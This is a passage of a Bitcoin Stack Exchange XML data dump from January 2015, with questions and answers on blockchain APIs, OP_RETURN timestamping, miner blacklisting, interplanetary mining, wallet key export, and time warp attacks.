  <row Id="34303" PostTypeId="2" ParentId="34300" CreationDate="2015-01-06T09:45:30.160" Score="1" Body="&lt;p&gt;You could achieve this by getting the transactions an address has been involved in and filtering on the outputs with that address hash.&lt;/p&gt;&#xA;&lt;p&gt;We've just released our own free API called &lt;a href=&quot;https://www.blocktrail.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blocktrail&lt;/a&gt; and provide SDKs for PHP, Python and NodeJS which make getting blockchain data trivial.&lt;/p&gt;&#xA;&lt;p&gt;Assuming PHP you could do the following:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Initialise the Blocktrail SDK&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use \Blocktrail\SDK\BlocktrailSDK;&#xA;$client = new BlocktrailSDK(&amp;quot;MY_APIKEY&amp;quot;, &amp;quot;MY_APISECRET&amp;quot;, &amp;quot;BTC&amp;quot;, false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Get the address' transactions&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$address = &amp;quot;1A4NfSJDzxzKgRrgfjxSAQ8hCPJJWKcmzX&amp;quot;;&#xA;$page = 1;&#xA;$limit = 500;&#xA;$sortDir = &amp;quot;desc&amp;quot;;&#xA;$transactions = $client-&amp;gt;addressTransactions($address, $page, $limit, $sortDir);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For each transaction get the amount sent to this address from the outputs&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$deposits = array();&#xA;foreach($transactions as $tx) {&#xA;    foreach($tx['outputs'] as $txout) {&#xA;      if($txout['address'] == $address) {&#xA;        $deposits[] = $txout['value'];&#xA;      }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h1&gt;Tutorials and Examples&lt;/h1&gt;&#xA;&lt;p&gt;We'll be creating in-depth tutorials really soon, but for now you can check the &lt;a href=&quot;https://www.blocktrail.com/api/docs&quot; rel=&quot;nofollow noreferrer&quot;&gt;API documentation&lt;/a&gt; for code examples and descriptions of the data returned.&lt;/p&gt;&#xA;&lt;p&gt;There is also an example project on github: &lt;a href=&quot;https://github.com/blocktrail/simple-block-explorer&quot; rel=&quot;nofollow noreferrer&quot;&gt;A Simple Block Explorer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19005" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-01-06T09:45:30.160" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34305" PostTypeId="1" CreationDate="2015-01-06T12:01:34.743" Score="1" ViewCount="292" Body="&lt;p&gt;There are some timestamping services such as proofofxistence.com that use OP_RETURNS transactions to store a document's hash, so in the future a 3rd party can verify the existence of the hash (and the document) at that particular time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the assumptions of using the blockchain for trusted timestamping is that the data will be there for a long period of time. However, the OP_RETURN ouputs are unspendable (then pruneable). It can be theoretically forgotten by everybody without affecting the integrity of the blockchain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a good idea to use OP_RETURN transactions for long-term timestamping?&lt;/p&gt;&#xA;" OwnerUserId="21671" LastActivityDate="2015-01-06T17:39:19.143" Title="Why use OP_RETURN for long-term timestamping if they are pruneable?" Tags="|blockchain|timestamp|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34307" PostTypeId="1" AcceptedAnswerId="34308" CreationDate="2015-01-06T12:45:47.340" Score="10" ViewCount="922" Body="&lt;p&gt;It is alleged that the stolen Bitstamp coins are in &lt;a href=&quot;https://blockchain.info/address/1L2JsXHPMYuAa9ugvHGLwkdstCPUDemNCf?offset=0&amp;amp;filter=0&quot; rel=&quot;noreferrer&quot;&gt;this address&lt;/a&gt;. In theory, could miners agree to reject all transactions from this address? And if so, would all miners need to agree or just more than half?&lt;/p&gt;&#xA;" OwnerUserId="21786" LastEditorUserId="21786" LastEditDate="2015-01-07T16:08:40.720" LastActivityDate="2015-01-07T17:38:40.570" Title="Can miners reject transactions from an address?" Tags="|bitstamp|governance|taint-analysis|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34308" PostTypeId="2" ParentId="34307" CreationDate="2015-01-06T13:21:53.393" Score="17" Body="&lt;p&gt;Technically it is possible to blacklist addresses, and it needs just the majority of the mining power to agree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is arriving at the agreement: Nobody stands to gain from witch-hunts, so a consensus to block an address would have to be carefully built on solid proof, which is hard when there is no central organs with jurisdiction, nor a way to get a statement from the culprit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, blacklisting addresses, just like tracking &lt;a href=&quot;https://bitcoin.stackexchange.com/q/7966/5406&quot;&gt;tainted coins&lt;/a&gt;, has a strong implication on what we view Bitcoin to be: One of the sources of Bitcoin's value is that bitcoins are considered &lt;a href=&quot;https://bitcoin.stackexchange.com/q/2496/5406&quot;&gt;fungible&lt;/a&gt; – that each individual does not need to care about the history of a bitcoin, because a bitcoin is a bitcoin. If we start treating bitcoins differently in accordance to their transaction history, it will make the bitcoin economy more complicated and less useful.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2015-01-07T14:38:33.583" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34309" PostTypeId="2" ParentId="34307" CreationDate="2015-01-06T13:25:20.810" Score="-1" Body="&lt;p&gt;I think miners can't refuse any transactions once they're in a block, except those which are invalid right now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If everyone agreed, there could be a centralized service that would broadcast alert messages to miners, alerting them that the transaction shouldn't be confirmed. But I am not sure this is a good idea. It would definitely go against the decentralization of bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="21175" LastEditorUserId="18196" LastEditDate="2015-01-07T17:38:40.570" LastActivityDate="2015-01-07T17:38:40.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34310" PostTypeId="2" ParentId="30001" CreationDate="2015-01-06T14:14:25.360" Score="2" Body="&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;: Whatever block interval one employs, another planet with greater mining power will eventually overtake the local blockchain. It would only be possible to lock other miners out by adding &lt;strong&gt;low-depth checkpoints&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;em&gt;Gedankenexperiment:&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;MarsCoin starts a new blockchain with a 2 minute block interval, they have &lt;strong&gt;one Unit of Mining Power [UMP]&lt;/strong&gt; at their disposal with a new MarsCoin specific mining algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some traders from Earth start using MarsCoin for their transactions with Mars colonists. They get blocks with a 20 minute delay (as proposed in the question). After a while they realize that the MarsCoin mining rewards are quite juicy and technology is much cheaper on Earth than in the underdeveloped colony: They create mining equipment with &lt;strong&gt;2 UMP&lt;/strong&gt;, allowing them to find blocks twice as fast than on Mars.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;-20 minutes&lt;/strong&gt;: Mars is at &lt;em&gt;Block X&lt;/em&gt; and broadcasts it to Earth.&lt;/li&gt;&#xA;&lt;li&gt;…&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;0 minutes&lt;/strong&gt;: Earth receives &lt;em&gt;Block X&lt;/em&gt; from Mars, and starts their own mining effort. The difficulty has not increased yet, so they can mine one block per minute for the time being. Mars is at &lt;em&gt;Block X+10&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;2 minutes&lt;/strong&gt;: Earth receives &lt;em&gt;Block X+1&lt;/em&gt; from Mars, but Earth is already on &lt;em&gt;Block X+2&lt;/em&gt; on their own chain. Earth subsequently outperforms Mars and continues mining on their own chain. Mars is at &lt;em&gt;Block X+11&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;…&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;21 minutes&lt;/strong&gt;: Mars receives the first block &lt;em&gt;Block X+1&lt;/em&gt; from Earth and discards it, because Mars found &lt;em&gt;Block X+20&lt;/em&gt; at 20 minutes. Earth is at &lt;em&gt;Block X+21&lt;/em&gt;, and received &lt;em&gt;Block X+10&lt;/em&gt; last from Mars.&lt;/li&gt;&#xA;&lt;li&gt;…&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;61 minutes&lt;/strong&gt;: Mars receives &lt;em&gt;Block X+41&lt;/em&gt; from Earth, Mars is at &lt;em&gt;Block X+40&lt;/em&gt;. Earth's chain's total proof of work is greater than Mars' chain's. Mars' chain is discarded in favor for Earth's. Mars' miners lose the mining reward of the last 40 blocks. Earth is at &lt;em&gt;Block X+61&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;&lt;em&gt;Conclusion:&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Neither distance, nor block interval are sufficiently prohibitive. As long as the other planet has more mining power it will eventually overtake the local blockchain.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;&lt;em&gt;Addendum: Short block interval with checkpoints at low depth&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When I just read this question again, I thought of another thing. If one was hellbent to keep non-martian mining efforts from bearing fruits, one could introduce a sliding checkpoint scheme. In my above example, where I was prescribing a block interval of two minutes and terrestrian mining was twice as fast as martian mining, it would take a reorganization of more than forty blocks for the terrestrian chain to replace the martian.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the community of Mars agreed upon forbidding chain reorganizations of more than 15 blocks (which at two minute intervals is less time than that of a radio wave roundtrip) by adding every block with 15 confirmations to the checkpoint list, terrestrian miners would be able to fork themselves from the Marscoin chain, but would never be able to take over the martian mining.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2017-07-12T04:19:47.703" LastActivityDate="2017-07-12T04:19:47.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34311" PostTypeId="2" ParentId="34305" CreationDate="2015-01-06T15:49:17.323" Score="2" Body="&lt;p&gt;The point of timestamping is not data storage (that's a different use case). Timestamping is being able to prove that a particular piece of data existed before some point in time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you create a transaction that commits to a particular (hash of a) piece of data, you can always prove its presence in the blockchain by keeping the blockchain (including the block with your transaction) yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, that's not even necessary. Due to the fact that Bitcoin transactions are organized in a Merkle tree in blocks, you can just keep the transaction, and the hashes in the Merkle tree that connect your transaction hash to the Merkle root of that block. Anyone who has validated the chain (and thus has at least the block headers) can verify that implies your transaction was part of the chain.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-01-06T15:49:17.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34312" PostTypeId="1" AcceptedAnswerId="35353" CreationDate="2015-01-06T17:00:50.020" Score="2" ViewCount="244" Body="&lt;p&gt;I've read the Developers Guide ( bitcoin.org/en/developer-guide ), asked a few peers and I still don't understand how the transactions are used to form the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did get that the transactions are used to form the Merkle tree. Do all people mining the next block use the same transactions to form the Merkle tree?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say that the Bitcoin network has the transactions A, B, C, X, Y, and Z. All of them are unconfirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm mining the transactions ABC and you are mining XYZ. If so, if I find a block that contains ABC, will I then mine the XYZ transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I find a block, you will have to check which transactions were included in the block by me, before forming the next merkle tree, right? If not, you might use, for example, the B transaction again, which was already confirmed by me.&lt;/p&gt;&#xA;" OwnerUserId="21790" LastEditorUserId="5406" LastEditDate="2016-04-24T09:09:02.720" LastActivityDate="2016-04-24T09:09:02.720" Title="Transactions used to form a block" Tags="|blockchain|mining-theory|merkle-tree|transaction-selection|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34314" PostTypeId="2" ParentId="34305" CreationDate="2015-01-06T17:39:19.143" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;However, the OP_RETURN outputs are unspendable (then pruneable). It can be theoretically forgotten by everybody without affecting the integrity of the blockchain.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It can be forgotten without affecting the integrity of the blockchain, but if a new node joins the network and wants to download the entire blockchain, there will be no way for existing nodes to prove that a missing transaction was OP_RETURN and therefore safe to forget. Therefore, someone (but not everyone) needs to keep the OP_RETURN transaction around.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-01-06T17:39:19.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34315" PostTypeId="2" ParentId="30001" CreationDate="2015-01-06T18:07:09.783" Score="-2" Body="&lt;p&gt;why don't we just increase block confirmation time from 10 minutes to 1 day for specific interstellar fork. I think the whole day of unconfirmed transactions is okay for interstellar network &amp;amp; will expand the radius draasticaly.&lt;/p&gt;&#xA;" OwnerUserId="7243" LastActivityDate="2015-01-06T18:07:09.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34316" PostTypeId="1" AcceptedAnswerId="35335" CreationDate="2015-01-06T18:07:21.927" Score="1" ViewCount="36" Body="&lt;p&gt;I was wondering if some one could explain to me, in &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_1:_Providing_a_deposit&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; example what the benefit of the website owner(s) is? It seems to me they do not benefit at all from this contract. There are obviously benefits to the user, namely they cannot possibly lose their bitcoins from what I can tell. In this scenario, what is the 'payment' that the user making &lt;em&gt;besides&lt;/em&gt; not having access (as far as I can tell &lt;em&gt;no one&lt;/em&gt; has access) to their coins for 6 months?&lt;/p&gt;&#xA;" OwnerUserId="20835" LastActivityDate="2015-01-07T16:26:02.447" Title="Contracts Benefit of Merchant" Tags="|contracts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34317" PostTypeId="2" ParentId="34292" CreationDate="2015-01-06T18:55:38.337" Score="3" Body="&lt;p&gt;The easiest way is to export your private keys using the dumpprivkey functionality. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;DumpPrivKey: returns the wallet-import-format (WIP) private key corresponding to an address. (But does not remove it from the wallet.) &lt;a href=&quot;https://bitcoin.org/en/developer-reference&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Developer Reference&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Do this for each address that is storing bitcoin (use listreceivedbyaddress to view all addresses with funds) &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ListReceivedByAddress: lists the total number of bitcoins received by each address. &lt;a href=&quot;https://bitcoin.org/en/developer-reference&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Developer Reference&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then create a backup copy of your wallet.dat file and then remove it.  The next time bitcoin-qt runs it will create a new empty unencrypted wallet.  Now you can use importprivkey to restore your funds. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ImportPrivKey: adds a private key to your wallet. The key should be formatted in the wallet import format created by the dumpprivkey RPC. &lt;a href=&quot;https://bitcoin.org/en/developer-reference&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Developer Reference&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6256" LastEditorUserId="6256" LastEditDate="2015-01-08T00:21:29.443" LastActivityDate="2015-01-08T00:21:29.443" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34318" PostTypeId="2" ParentId="30001" CreationDate="2015-01-06T19:47:02.570" Score="2" Body="&lt;p&gt;If hashes are cheap on Earth, you want them exported to&#xA;Mars to improve the security of the Martian block chain.  Exporting&#xA;hashes is easy to do in the stateless manner we expect from&#xA;decentralized Bitcoin technology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each block on a block chain is protected against modification by the&#xA;proof of work it shows and by the proof of work shown by the blocks&#xA;that follow it. This proof of work is communicable---the work done in&#xA;one chain can be applied to another chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for example, we have Marscoin and Bitcoin.  Bitcoin (still focused&#xA;on and near Earth) is by far the stronger chain.  Marscoin is great for&#xA;local transactions on Mars, but nobody trusts it for serious savings&#xA;because its network difficulty is much lower than Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, some people on Earth start to include hashes of recent Marscoin&#xA;block headers in their transaction outputs (maybe using&#xA;&lt;a href=&quot;https://github.com/Blockstream/contracthashtool&quot; rel=&quot;nofollow&quot;&gt;ContractHashTool&lt;/a&gt; to&#xA;do this as a part of their regular transactions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following a soft fork of Marscoin, Marscoin full nodes download both the&#xA;Bitcoin block chain and the Marscoin block chain. Looking at the Bitcoin&#xA;block chain, they find the first Marscoin header hash encoded in an&#xA;output and look at how much proof of work is protecting that transaction&#xA;on the Bitcoin block chain. They add that proof of work to the&#xA;corresponding block on the Marscoin block chain---now that block is&#xA;protected by the combined hash rate of two planets! For example:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Bitcoin Block 10,000,000&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Confirmed 100 times&lt;/li&gt;&#xA;  &lt;li&gt;Protected by proof of work equal to 10^72 hashes&lt;/li&gt;&#xA;  &lt;li&gt;Has a transaction that references Marscoin block 50,000&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Marscoin Block 50,000&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Confirmed 200 times&lt;/li&gt;&#xA;  &lt;li&gt;Protected by native proof of work equal to 10^48 hashes&lt;/li&gt;&#xA;  &lt;li&gt;External proof of work adds an extra 10^72 hashes&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The Marscoin full nodes perform the same calculation for any other&#xA;Marscoin header hashes found in the Bitcoin block chain. Now attacking&#xA;all but the most recent Marscoin blocks requires attacking Bitcoin at&#xA;the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To prevent denial-of-service attacks against recent blocks, methods like&#xA;&lt;a href=&quot;http://gavintech.blogspot.com/2012/05/neutralizing-51-attack.html&quot; rel=&quot;nofollow&quot;&gt;Gavin Andresen's require-priority&#xA;idea&lt;/a&gt;&#xA;can ensure high-priority Martian transactions get through even if&#xA;malcontents try using cheap Terran hash rate in short-chain 51% attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now Terrans and Martians can live in peace and harmony---all thanks to&#xA;Bitcoin. :-)&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-06T19:47:02.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34319" PostTypeId="1" AcceptedAnswerId="38810" CreationDate="2015-01-06T20:03:40.843" Score="3" ViewCount="5319" Body="&lt;p&gt;I got 2 U3 running on Linux Ubuntu cgminer 4.9.0.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Dedicated Power Supply&lt;/li&gt;&#xA;&lt;li&gt;New short USB cables&lt;/li&gt;&#xA;&lt;li&gt;Cold room ambient 5 degrees celcius (heat sinks don't go over 40 degrees)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Not once have I managed to run them longer than 24 hours. Does anybody know why they keep going ZOMBIE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once they go ZOMBIE like this they are not detected by cgminer and sometimes show in lsusb but not always. The only way to fix this is to remove USB cable and Power, restart cgminer, then plug power back in and USB.&lt;/p&gt;&#xA;" OwnerUserId="3656" LastActivityDate="2017-03-14T18:06:55.587" Title="Bitmain Antminer U3 keeps going Zombie" Tags="|antminer|u3|" AnswerCount="8" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34320" PostTypeId="1" AcceptedAnswerId="35352" CreationDate="2015-01-06T21:46:41.893" Score="7" ViewCount="2086" Body="&lt;p&gt;I want to download blk.dat of a specific block number, How can I do this ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I'm only interested in specific blocks, I only want to download blocks for example that are numbered between 100 and 200,etc...&lt;/p&gt;&#xA;" OwnerUserId="21793" LastEditorUserId="21793" LastEditDate="2015-01-06T22:57:45.277" LastActivityDate="2015-01-08T15:23:01.597" Title="How to download blk.dat files from a specific block number?" Tags="|blockchain|bootstrap.dat|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34321" PostTypeId="1" CreationDate="2015-01-07T00:58:18.747" Score="1" ViewCount="218" Body="&lt;p&gt;I recently started using Multibit and today when I opened it the app wouldn't load exchange rates on any of my wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9pvVb.png&quot; alt=&quot;Multibit exchange rate&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It shows my balance but not the value in dollars. I have it set to do so but it's not working.&lt;/p&gt;&#xA;" OwnerUserId="21795" LastEditorUserId="2306" LastEditDate="2015-01-07T02:36:54.977" LastActivityDate="2015-01-07T19:53:47.613" Title="How do I make Mulitbit show the exchange rate?" Tags="|multibit|exchange-rate|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35320" PostTypeId="1" CreationDate="2015-01-07T04:47:58.680" Score="0" ViewCount="66" Body="&lt;p&gt;I have been interested of generating Bitcoins but how can I be sure that the software that is available for this is not somehow compromised?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My concern is that the software may have some backdoor (reverse shell or otherwise), but to what degree is this a valid concern? Are there any steps I can take to mitigate this risk?&lt;/p&gt;&#xA;" OwnerUserId="22792" LastEditorUserId="5406" LastEditDate="2016-04-24T09:09:33.067" LastActivityDate="2016-04-24T09:09:33.067" Title="How can I be sure that bitcoin mining software is not compromised?" Tags="|security|mining-software|malware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35321" PostTypeId="1" AcceptedAnswerId="35435" CreationDate="2015-01-07T06:16:19.223" Score="5" ViewCount="1051" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/1058&quot;&gt;jarpian explains what a time warp attack (AKA zeitgeist attack) is:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is a 51% attack where the attacker sets the block timestamps artificially to lower the difficulty, allowing him to profit more coins than his hash rate would warrant. It works because the difficulty adjustment formula is based purely on timestamps that can be chosen quite freely by the attacker. In particular, the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/915/why-dont-the-timestamps-in-the-block-chain-always-increase&quot;&gt;timestamps are not required to be in increasing order&lt;/a&gt;. ArtForz explains the attack in detail &lt;a href=&quot;https://bitcointalk.org/index.php?topic=43692.msg521772#msg521772&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This attack was used against the new Geist Geld block chain. Geist Geld difficulty adjusts every 16 blocks making the chain particularly vulnerable against this attack. An attacker targeting Bitcoin would have to mine a full set of 2016 blocks at the current difficulty before starting to get any benefit compared to a &quot;normal&quot; 51% attack.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Obviously, performing this attack would be horrendously expensive. (Coinometrics places the cost at about &lt;a href=&quot;http://www.coinometrics.com/bitcoin/brix&quot; rel=&quot;nofollow noreferrer&quot;&gt;$463 million&lt;/a&gt; at time of writing.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you were successful, you could lower the difficulty and increase the block rate by a factor of 4 every 2 weeks, letting you mint coins more than every 10 minutes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The obvious way of fixing this - changing the block retarget period from (2016*n, 2016*n + 2015) to (2016*n, 2016*n + &lt;strong&gt;2016&lt;/strong&gt;) is problematic. Blocks produced by the new implementation would be invalid in the old implementation, and vice-versa. &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/729ba317498bf644c62975dbde07da5ab9ef0043/src/main.cpp#L2565&quot; rel=&quot;nofollow noreferrer&quot;&gt;(Source)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how could a time warp attack be prevented in a non-disruptive way?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-03-14T22:08:13.897" Title="How could a time warp attack be prevented?" Tags="|security|timestamp|time-warp-attack|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35322" PostTypeId="2" ParentId="35320" CreationDate="2015-01-07T06:33:30.903" Score="2" Body="&lt;p&gt;cgminer / bfgminer are both open source, get it from the official repository and you can be fairly sure that some geek will have noticed if there's something suspicious! If you're talking about mining some altcoin with a custom hashing algorithm then you have a valid concern.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2015-01-07T06:33:30.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35323" PostTypeId="2" ParentId="34321" CreationDate="2015-01-07T06:36:01.370" Score="1" Body="&lt;p&gt;Bitstamp is currently offline for security reasons so that will be why. It'll be back within a day or two. Perhaps there's an option to switch it to use a different exchange's rates.. if not, there should be.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2015-01-07T06:36:01.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35324" PostTypeId="2" ParentId="25793" CreationDate="2015-01-07T09:30:00.377" Score="0" Body="&lt;p&gt;A bit late but you might take a look at &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/5503&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/pull/5503&lt;/a&gt;&#xA;It's not merged (yet) but it would give you the opportunity to get the fee before sending the transaction (with 4 steps: createrawtransaction, fundrawtransaction [get fee], signrawtransaction, sendrawtransaction)&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-01-07T09:30:00.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35325" PostTypeId="1" CreationDate="2015-01-07T10:15:02.803" Score="2" ViewCount="1119" Body="&lt;p&gt;I would like to know if it's possible to do this short order without having to manually add the stop loss after it's opened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say the price is currently $300, and if it hits $280 I know it will probably drop, so I want to margin sell-stop at $280 to sell at this level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to buy them back at $250, so I put in a margin buy-limit at $250 to buy them back at that level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That all works okay and I can add those orders at the same time. But is it possible to add a stop loss to my short order, to sell if the price goes back up to $290? This would be a margin buy-stop order at $290 I believe, but if I add that to my orders list, it would be executed immediately as the price is $300 and that would ruin the trade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do this, essentially saying &quot;only execute this order if this other order has been executed&quot;? Or is this the kind of stuff that trading bots do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2015-01-07T10:15:02.803" Title="Is it possible to short on Bitfinex using a SELL-STOP, then BUY-STOP and BUY-LIMIT at the same time?" Tags="|bitfinex|margin|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35326" PostTypeId="1" AcceptedAnswerId="35329" CreationDate="2015-01-07T10:15:55.097" Score="1" ViewCount="586" Body="&lt;p&gt;I am totally new to the Bitcoin thing and have installed &lt;code&gt;Electrum&lt;/code&gt; yesterday after having read a lot of reviews on different local wallet options. I am not really planning to use it yet, but I want to learn the thechnology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am still a little confused regarding some things. The questions are below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) After having installed Electrum I go to the &lt;code&gt;Recieving&lt;/code&gt; tab in the GUI. There I can see some different addresses. Can I publish them all to the public to get payments? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Are these addresses static? That is, will I have these addresses forever to receive payments and I guess multiple people can insert bitcoins multiple times to the same address? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Actually, from an anonymity perspective, what is the difference between having several receiving addresses in one wallet to get payments and multiple wallets with one address each?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) If one would be totally anonymous when getting and making payments (let´s say person A will get payment from B and then A will pay C), is this a correct way to do it and still become anonymous:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   a) install a local wallet with `tor` support (Electrum 